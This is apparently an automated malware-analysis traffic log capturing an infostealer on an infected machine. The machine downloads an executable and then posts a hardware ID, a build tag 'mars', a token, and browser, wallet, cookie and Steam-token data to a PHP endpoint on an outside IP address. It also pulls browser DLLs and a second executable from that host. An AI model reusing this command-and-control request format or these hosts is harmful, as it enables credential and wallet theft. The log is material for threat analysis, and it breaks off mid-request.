Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 28 Nov 2024 07:57:10 GMTContent-Type: application/octet-streamContent-Length: 4509184Last-Modified: Thu, 28 Nov 2024 06:29:54 GMTConnection: keep-aliveETag: "67480de2-44ce00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 25 da 45 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 4e 4b 00 00 3a 76 00 00 32 00 00 00 10 ca 00 00 10 00 00 00 60 4b 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 40 ca 00 00 04 00 00 8a 56 45 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f a0 73 00 73 00 00 00 00 90 73 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 f7 c9 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 f7 c9 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 73 00 00 10 00 00 00 36 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 90 73 00 00 02 00 00 00 46 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 73 00 00 02 00 00 00 48 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 39 00 00 b0 73 00 00 02 00 00 00 4a 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 64 6f 61 77 78 72 61 00 60 1c 00 00 a0 ad 00 00 5c 1c 00 00 4c 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 71 75 69 6e 6f 77 77 00 10 00 00 00 00 ca 00 00 04 00 00 00 a8 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 ca 00 00 22 00 00 00 ac 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJJJKFIIIJJJECAAEHDBHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 4a 45 43 41 41 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 32 45 41 45 33 43 44 44 42 37 45 33 31 38 36 32 36 36 35 39 38 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 4a 45 43 41 41 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 4a 45 43 41 41 45 48 44 42 2d 2d 0d 0a Data Ascii: ------KJJJKFIIIJJJECAAEHDBContent-Disposition: form-data; name="hwid"92EAE3CDDB7E3186266598------KJJJKFIIIJJJECAAEHDBContent-Disposition: form-data; name="build"mars------KJJJKFIIIJJJECAAEHDB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIJEBAECGCBKECAAAEBFHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 35 32 37 32 33 33 37 33 61 61 64 31 33 34 33 32 61 64 66 37 65 64 66 38 39 30 35 65 31 33 66 61 38 39 32 62 65 38 62 38 62 38 38 62 32 30 64 32 31 64 64 39 35 35 32 33 66 32 36 66 61 30 62 34 66 32 32 39 63 30 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 46 2d 2d 0d 0a Data Ascii: ------IIJEBAECGCBKECAAAEBFContent-Disposition: form-data; name="token"1f52723373aad13432adf7edf8905e13fa892be8b8b88b20d21dd95523f26fa0b4f229c0------IIJEBAECGCBKECAAAEBFContent-Disposition: form-data; name="message"browsers------IIJEBAECGCBKECAAAEBF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHJDAKEGDBFHCAAKJJJDHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 4b 45 47 44 42 46 48 43 41 41 4b 4a 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 35 32 37 32 33 33 37 33 61 61 64 31 33 34 33 32 61 64 66 37 65 64 66 38 39 30 35 65 31 33 66 61 38 39 32 62 65 38 62 38 62 38 38 62 32 30 64 32 31 64 64 39 35 35 32 33 66 32 36 66 61 30 62 34 66 32 32 39 63 30 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 4b 45 47 44 42 46 48 43 41 41 4b 4a 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 4b 45 47 44 42 46 48 43 41 41 4b 4a 4a 4a 44 2d 2d 0d 0a Data Ascii: ------DHJDAKEGDBFHCAAKJJJDContent-Disposition: form-data; name="token"1f52723373aad13432adf7edf8905e13fa892be8b8b88b20d21dd95523f26fa0b4f229c0------DHJDAKEGDBFHCAAKJJJDContent-Disposition: form-data; name="message"plugins------DHJDAKEGDBFHCAAKJJJD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHDAEBGCAAFIDGCGDHIHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 48 44 41 45 42 47 43 41 41 46 49 44 47 43 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 35 32 37 32 33 33 37 33 61 61 64 31 33 34 33 32 61 64 66 37 65 64 66 38 39 30 35 65 31 33 66 61 38 39 32 62 65 38 62 38 62 38 38 62 32 30 64 32 31 64 64 39 35 35 32 33 66 32 36 66 61 30 62 34 66 32 32 39 63 30 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 41 45 42 47 43 41 41 46 49 44 47 43 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 41 45 42 47 43 41 41 46 49 44 47 43 47 44 48 49 2d 2d 0d 0a Data Ascii: ------GDHDAEBGCAAFIDGCGDHIContent-Disposition: form-data; name="token"1f52723373aad13432adf7edf8905e13fa892be8b8b88b20d21dd95523f26fa0b4f229c0------GDHDAEBGCAAFIDGCGDHIContent-Disposition: form-data; name="message"fplugins------GDHDAEBGCAAFIDGCGDHI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIIDAKKJJJKKECAKKJEHost: 185.215.113.206Content-Length: 6087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFCGDBAKKKFBGDHJKFHJHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 35 32 37 32 33 33 37 33 61 61 64 31 33 34 33 32 61 64 66 37 65 64 66 38 39 30 35 65 31 33 66 61 38 39 32 62 65 38 62 38 62 38 38 62 32 30 64 32 31 64 64 39 35 35 32 33 66 32 36 66 61 30 62 34 66 32 32 39 63 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 2d 2d 0d 0a Data Ascii: ------KFCGDBAKKKFBGDHJKFHJContent-Disposition: form-data; name="token"1f52723373aad13432adf7edf8905e13fa892be8b8b88b20d21dd95523f26fa0b4f229c0------KFCGDBAKKKFBGDHJKFHJContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------KFCGDBAKKKFBGDHJKFHJContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------KFCGDBAKKKFBGDHJKFHJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJEHIDHDAKJDHJKEBFIEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 48 49 44 48 44 41 4b 4a 44 48 4a 4b 45 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 35 32 37 32 33 33 37 33 61 61 64 31 33 34 33 32 61 64 66 37 65 64 66 38 39 30 35 65 31 33 66 61 38 39 32 62 65 38 62 38 62 38 38 62 32 30 64 32 31 64 64 39 35 35 32 33 66 32 36 66 61 30 62 34 66 32 32 39 63 30 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 48 49 44 48 44 41 4b 4a 44 48 4a 4b 45 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 48 49 44 48 44 41 4b 4a 44 48 4a 4b 45 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 48 49 44 48 44 41 4b 4a 44 48 4a 4b 45 42 46 49 45 2d 2d 0d 0a Data Ascii: ------IJEHIDHDAKJDHJKEBFIEContent-Disposition: form-data; name="token"1f52723373aad13432adf7edf8905e13fa892be8b8b88b20d21dd95523f26fa0b4f229c0------IJEHIDHDAKJDHJKEBFIEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IJEHIDHDAKJDHJKEBFIEContent-Disposition: form-data; name="file"------IJEHIDHDAKJDHJKEBFIE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAAEGIJKEGHIDGCBAEBHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEGHIJEHJDHIDHIDAEHCHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 35 32 37 32 33 33 37 33 61 61 64 31 33 34 33 32 61 64 66 37 65 64 66 38 39 30 35 65 31 33 66 61 38 39 32 62 65 38 62 38 62 38 38 62 32 30 64 32 31 64 64 39 35 35 32 33 66 32 36 66 61 30 62 34 66 32 32 39 63 30 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 48 43 2d 2d 0d 0a Data Ascii: ------AEGHIJEHJDHIDHIDAEHCContent-Disposition: form-data; name="token"1f52723373aad13432adf7edf8905e13fa892be8b8b88b20d21dd95523f26fa0b4f229c0------AEGHIJEHJDHIDHIDAEHCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AEGHIJEHJDHIDHIDAEHCContent-Disposition: form-data; name="file"------AEGHIJEHJDHIDHIDAEHC--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIIDAKKJJJKKECAKKJEHost: 185.215.113.206Content-Length: 1003Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHDBAAFIDGDAAAAAAAAHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 48 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 35 32 37 32 33 33 37 33 61 61 64 31 33 34 33 32 61 64 66 37 65 64 66 38 39 30 35 65 31 33 66 61 38 39 32 62 65 38 62 38 62 38 38 62 32 30 64 32 31 64 64 39 35 35 32 33 66 32 36 66 61 30 62 34 66 32 32 39 63 30 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 2d 2d 0d 0a Data Ascii: ------IEHDBAAFIDGDAAAAAAAAContent-Disposition: form-data; name="token"1f52723373aad13432adf7edf8905e13fa892be8b8b88b20d21dd95523f26fa0b4f229c0------IEHDBAAFIDGDAAAAAAAAContent-Disposition: form-data; name="message"wallets------IEHDBAAFIDGDAAAAAAAA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEBGIEGCFHCFHIDHIJECHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 42 47 49 45 47 43 46 48 43 46 48 49 44 48 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 35 32 37 32 33 33 37 33 61 61 64 31 33 34 33 32 61 64 66 37 65 64 66 38 39 30 35 65 31 33 66 61 38 39 32 62 65 38 62 38 62 38 38 62 32 30 64 32 31 64 64 39 35 35 32 33 66 32 36 66 61 30 62 34 66 32 32 39 63 30 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 47 49 45 47 43 46 48 43 46 48 49 44 48 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 47 49 45 47 43 46 48 43 46 48 49 44 48 49 4a 45 43 2d 2d 0d 0a Data Ascii: ------AEBGIEGCFHCFHIDHIJECContent-Disposition: form-data; name="token"1f52723373aad13432adf7edf8905e13fa892be8b8b88b20d21dd95523f26fa0b4f229c0------AEBGIEGCFHCFHIDHIJECContent-Disposition: form-data; name="message"files------AEBGIEGCFHCFHIDHIJEC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGCAFHCAKFBFIECAFIIJHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 35 32 37 32 33 33 37 33 61 61 64 31 33 34 33 32 61 64 66 37 65 64 66 38 39 30 35 65 31 33 66 61 38 39 32 62 65 38 62 38 62 38 38 62 32 30 64 32 31 64 64 39 35 35 32 33 66 32 36 66 61 30 62 34 66 32 32 39 63 30 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 2d 2d 0d 0a Data Ascii: ------BGCAFHCAKFBFIECAFIIJContent-Disposition: form-data; name="token"1f52723373aad13432adf7edf8905e13fa892be8b8b88b20d21dd95523f26fa0b4f229c0------BGCAFHCAKFBFIECAFIIJContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BGCAFHCAKFBFIECAFIIJContent-Disposition: form-data; name="file"------BGCAFHCAKFBFIECAFIIJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAEHJJECAEGCAAAAEGIEHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 45 48 4a 4a 45 43 41 45 47 43 41 41 41 41 45 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 35 32 37 32 33 33 37 33 61 61 64 31 33 34 33 32 61 64 66 37 65 64 66 38 39 30 35 65 31 33 66 61 38 39 32 62 65 38 62 38 62 38 38 62 32 30 64 32 31 64 64 39 35 35 32 33 66 32 36 66 61 30 62 34 66 32 32 39 63 30 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 48 4a 4a 45 43 41 45 47 43 41 41 41 41 45 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 48 4a 4a 45 43 41 45 47 43 41 41 41 41 45 47 49 45 2d 2d 0d 0a Data Ascii: ------DAEHJJECAEGCAAAAEGIEContent-Disposition: form-data; name="token"1f52723373aad13432adf7edf8905e13fa892be8b8b88b20d21dd95523f26fa0b4f229c0------DAEHJJECAEGCAAAAEGIEContent-Disposition: form-data; name="message"ybncbhylepme------DAEHJJECAEGCAAAAEGIE--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHIDAFCGIEHIEBFCFBAHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 48 49 44 41 46 43 47 49 45 48 49 45 42 46 43 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 35 32 37 32 33 33 37 33 61 61 64 31 33 34 33 32 61 64 66 37 65 64 66 38 39 30 35 65 31 33 66 61 38 39 32 62 65 38 62 38 62 38 38 62 32 30 64 32 31 64 64 39 35 35 32 33 66 32 36 66 61 30 62 34 66 32 32 39 63 30 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 44 41 46 43 47 49 45 48 49 45 42 46 43 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 44 41 46 43 47 49 45 48 49 45 42 46 43 46 42 41 2d 2d 0d 0a Data Ascii: ------DGHIDAFCGIEHIEBFCFBAContent-Disposition: form-data; name="token"1f52723373aad13432adf7edf8905e13fa892be8b8b88b20d21dd95523f26fa0b4f229c0------DGHIDAFCGIEHIEBFCFBAContent-Disposition: form-data; 